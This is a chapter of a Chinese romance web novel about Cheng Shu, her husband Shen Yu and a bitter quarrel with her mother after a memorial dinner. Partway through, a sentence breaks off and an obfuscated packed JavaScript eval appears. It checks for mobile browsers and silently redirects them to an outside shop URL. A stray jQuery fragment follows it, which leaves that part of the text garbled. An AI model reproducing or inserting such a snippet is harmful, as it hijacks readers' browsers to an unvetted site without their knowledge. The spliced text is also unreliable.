沈豫订了一家酒店包厢，一行人分三辆车下山。程舒想要多待一会，沈豫便先安排其他长辈上车，陪着她一起留在最后。
深冬的冷风凌厉，绒发拂过瓷白的肌肤，妻子穿着黑色大衣，垂眸立在墓碑前，沉默良久。
眼睫轻轻颤动不知在想些什么。
察觉到她心绪不佳，沈豫只牵着程舒的手带她下山，两人一路无言。
上车后，沈豫打开中央的保温杯，倒入杯盖中递给她。
程舒回过头，保温杯冒着汩汩热气，黑红色的糖水溢出香甜的味道。
是提前备好的。
沈豫从提袋中找出锡纸板，指尖轻摁压出一颗布洛芬，弹到手心递给她。
“不舒服就别硬撑。”
“你怎么知道？”程舒问。
“你经期前会腰痛，小腹也比平时凉。”沈豫不假思索地回答，“而且周期很规律，算的出来。”
昨天晚上迷迷糊糊地，程舒是感觉到他有将掌心压在她小腹上，触感温热十分舒服，原以为只是搂腰的姿势误触的。
程舒将自己往椅子里缩了缩，眉眼低垂，喝药的时候看到手提袋里一堆药盒，有点好笑，“哪有夫妻两个都是药罐子的。”
夫妻?
沈豫倒是第一次从程舒口中听到这个词。
眸光柔和了几分，“偶尔生生病，也算是增加抵抗力。”
程舒翻了下药盒，发现一款消炎的药剂没有了，其他几中也只剩下两三粒，“医生开的药已经快喝完了，不如待会再去一趟医院，输液会好的快些。”
沈豫的发热反反复复，好不彻底肺里留下病根就糟了。
“也还好。”
他开着车随意回应着，两人最后到达酒店。
走到酒店大厅，程舒想起之前答应过堂姐，给外甥女带华盛升学考的习题集还落在车上，“我去拿一趟。”
沈豫：“我去吧。”
程舒看着他大衣下单薄的衬衣，今天的体感温度已经是零下十几，“你穿太薄了，本来就不舒服，我去吧。”
祭礼要带的东西太多，程舒在后备箱翻找半天没有瞧见，想起应当是怕弄散，所以放在了帆布包里，只得又绕过去打开主驾。
翻开口袋找到了习题集，却不知怎的触到内嵌抽屉，正想着如何关上，却发现空荡荡的抽匣里，纸巾包裹着几枚颜色各不同的药片。
程舒拾起瞧了一眼，正是她早上上山前给沈豫配好交代他喝的。
“没找到吗？”沈豫不知何时出现在她身后。
瞧见程舒掌心放着的东西，眸光淡了些，笑着：“感觉有耐药性了，所以就先不喝了。”
真的吗？
沈豫从程舒手中团过纸巾，随后扔到垃圾桶里，牵过她的手。
“走吧。”
他姿态强硬，程舒只得压下疑窦。
包厢里
长辈们随意聊着家庭和孩子，小孩子叽叽喳喳地吵着要去和外面的小狗玩，明明不耐烦在桌上待，却还要被起哄背首唐诗。
三代人将房间填的满满当当，过分热闹，全然不像是祭日。
反倒像过年。
人身死之后，除了一开始亲人们好似群山崩塌的悲痛，渐渐地，风雨停歇，伤口便会被琐事填满。随着时间结了痂蜕了皮，又长出一块好皮肉，只时不时回想起来曾经的事，伤过的肌肉再抽动片刻，偶尔阵痛。
奶奶去世后的周年祭，小小的程舒看着亲戚们喜笑颜开的推杯换盏，没有一个人悲伤，也是分外的不解。
程厉军便是如此对她说的：
“中国人就是这样，无论是丧事还是喜事，最后都会过成‘年’。”
“活着的时候好好对她，比死了之后装孝顺强。”
“人嘛，一辈子生不带来死不带去，两眼一闭谁还知道身后的事。祭日都是过给活人的，剩下的作用，无非是再给个亲人团聚的由头。”
可程舒并不想要和没有感情的亲人团聚。
大伯一家人丁兴旺，两个儿子一个女儿，再加上各自的伴侣和小孩，每个人只是说话，也吵闹的过分。
衬托地林水音一家寂寥无比。
饭到末程，自然是要提起生孩子的话题。
“小舒着眼看要结婚三年了，什么时候打算生一个。”
程舒记得在沈家也被这样催过，当时她和沈豫讨论过这个事情，沈豫说他工作忙没有精力。
但现在程舒明确地表示：“不打算。”
三个字落地，场上的人都静了静，包括沈豫。
众人七嘴八舌地劝说程舒。
而程舒只是默默地喝汤。
场上有些僵，堂姐笑着打圆场，“小舒还小呢，是等过些年吧。”
“以后都不打算。”程舒笑了笑。
她话音落，林水音先呵斥了句：“说什么呢？哪有结婚不生孩子的。”
“有，我。”
程舒静静地看着她，今天母女两已经起过许多次冲突，程舒索性把话说清楚，省得以后她再联合旁人给她施压。
“不用再联合他们问了，我不会生。”
林水音刚要开口教训，坐在旁边的沈妤先笑嘻嘻地开口：“哎呦阿姨，现在都什么年代了，养儿也不防老，还拖累人。我是脑子发了昏才生了孽债，现在别提多后悔了，看看我这黑眼圈，小舒就是去我那照顾了几天，才累的没力气生的。”
林水音不理会，转而对程舒说：“你自己一个人决定有什么用，人家小豫会愿意？”
沈家就沈豫一个儿子，林水音不信她的话。
沈豫无意识地转动戒指，微微蹙眉。
他一开始也错愕程舒的坚决，只是此刻收敛起神色，余光落在程舒柔和但淡漠的眉眼上，礼貌道：“妈，小舒和我一起的意思。”
沈豫喊来服务员结账，明显是不愿意说下去的意思。
人多，林水音也不好再说
送林水音回家，沈豫去停车，程舒扶着她上楼。
老房子没有电梯，林水音早年跳舞伤过腿，爬楼有些费力。
今天爬山和祭礼都十分耗费膝盖，上到五层时，林水音几乎是撑在程舒身上。
“不如租一栋带电梯的房子。”程舒之前就提议过，但林水音不愿意，她便说，“我来付租金。”
林水音冷笑一声：“租？年纪这么大了还出去租房子，不让人笑话吗？”
程舒耐心解释：“现在很多人都是租房子，按照需求行事，有什么要笑话的。”
林水音侧了她一眼，进门后想要坐下，膝盖却弯的十分费力，程舒放下东西连忙过去扶。
她一把手挥开，明显是生她的气。
程舒不想起冲突，照她的规矩把物件摆放好，又将冰箱里没吃掉不新鲜的肉、水果处理掉。
“我就不明白了，那栋房子空着也是空着，你给你堂哥住又能怎么样？”
今天她拢共和女儿商量了三件事，没有一件如她的意。
“我不想。”
“你做人就这么自私吗？”林水音拍着沙发扶手，“你大伯家对我们有恩，我们最难的时候，都是他们在接济。你从小我就教你的，知恩图报，连这些道理都不懂吗？”
程舒撑着塑料袋，捏着边沿叹了口气：“我没有报吗？”
去年堂姐的女儿中考，是程舒每周末去辅导，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752385|207041||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
整整半年。堂弟妹打算考燕大的研究生，也是程舒去搜集资料，托了许多师弟师妹去打听情况联系导师。
后来她没有上岸，找不到工作，程舒又拜托刘俊杰帮她引进到华盛初中部。
她不喜欢欠人情，却要一次又一次用人情去还恩。
更不要提大伯母每年找多番理由来叫她去借沈豫的势，好叫他照顾在燕城总公司的堂哥。
今年夏天大伯查出甲状腺结节，堂弟忙着考公，堂哥和堂姐都不在霖城，嘴上说交替回家照顾。
大伯母一句‘小舒放暑假没有事’，林水音便也叫程舒去医院处理手续盯着手术。
“我爸去世的两年，他们家提出的要求我全都应下，没有一件推脱。”程舒叹气，“我知道，雪中送炭是大恩，可能一辈子都要还。但我报的还不够吗？为什么非要打那栋房子的主意？那是我爸留给我唯一的东西了。”
“你只记得你爸，别人对你的好你就一点都不记吗？”林水音手背敲打着手心，“我说什么你都不听！我想要你爸离我近一点，我腿脚不好一年看不了他几次，你不听。你大伯家对我们那么大的恩，要不是人家凑钱给我们，你和我现在还能活的下去吗？空房子给人家解急又能怎么样？你也不听！”
“你嫁给沈豫，我们娘俩终于是又有了依靠。但他们沈家就一个儿子，你婆婆那样强势的一个人，怎么可能不要后。我想让你生个孩子，哪怕是给自己个依仗，你就要把我当仇人，在那么多人跟前叫我下不来台。”
林水音的争吵声愈来愈尖锐，程舒太阳穴隐隐抽动，胸口仿佛压着千斤巨石一般喘不过气来，小臂不住地抖动，似乎有蚂蚁在爬。她背过身，捂着胸口，只能扶着桌沿勉强撑住身体。
而林水音见她回避，格外不满，像小时候程舒做错事时一样，拾起茶几上的瓷杯扔到她脚边，吼道：“你眼里根本就没我这个妈！”
瓷片碎裂的声音仿佛能割破耳膜，弹蹦到角落，发出闷响。
程舒终于回过头，她喘着气，“是你的眼里从来都没有我，你根本不关心我喜欢什么，我想要什么。只要你觉得对我好的事情，我就必须喜欢而且欢天喜地地接受。”
“我爸生前说过的，想要死后想要埋在一个清净点的地方。”
程舒侧着头，隐忍着眼泪。
“我也说过，我不想结婚不能生孩子，我只想一个人待着。”
“爸爸留给我的房子，就是希望我可以不依靠别人，一个人也可以有个家。”
“分明是你，从来都没有听过我们在说什么。”
提起程厉军，林水音心口愈发冒火：“就只有你爸好，对，人死了都好，我做了那么多事，在你眼里连屁都不算。难道非要我死了，你才能记得点我的好吗？我怎么、我怎么生下你这样凉薄的女儿？”
凉薄，林水音总是认为程舒凉薄。
她觉得程舒克制的平静是凉薄，回避是凉薄。
只要有一丝自己的意志，便是凉薄。
程舒受够了这种指摘，她拔高音量，第一次对林水音对抗：
“如果我真的凉薄，我当初就不会留在霖城！更不会嫁给他来还你的恩！”
林水音指着她：“怎么？你还嫌日子过的不好吗？难道非要跑去国外，嫁给那个什么都没有穷小子才叫好？”
“那也比像个筹码一样绑在这里一辈子要好！”
防盗门吱呀推开，沈豫不知何时出现在门口。
方才的争吵声像被一刀切断，瞬间被巨大的沉默吞噬。
他站在门框边，脸上没什么表情，侧脸还带着霜。
只是眸光倏地暗下去，如同幽深的潭水，静静凝望着程舒。